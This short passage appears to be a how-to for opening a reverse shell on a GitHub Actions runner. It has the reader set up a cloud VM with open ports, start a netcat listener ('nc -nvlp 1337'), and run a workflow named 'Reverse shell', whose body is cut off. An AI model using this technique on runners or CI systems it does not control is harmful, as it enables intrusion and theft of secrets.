Getting a shell on a GH runner is pretty easy. First, create a linux VM in your favorite cloud provider. Be sure to allow inbound traffic on port 22 and 1337. SSH into that VM and execute the following command:
nc -nvlp 1337
Then run the following workflow in GH actions:
name: Reverse shell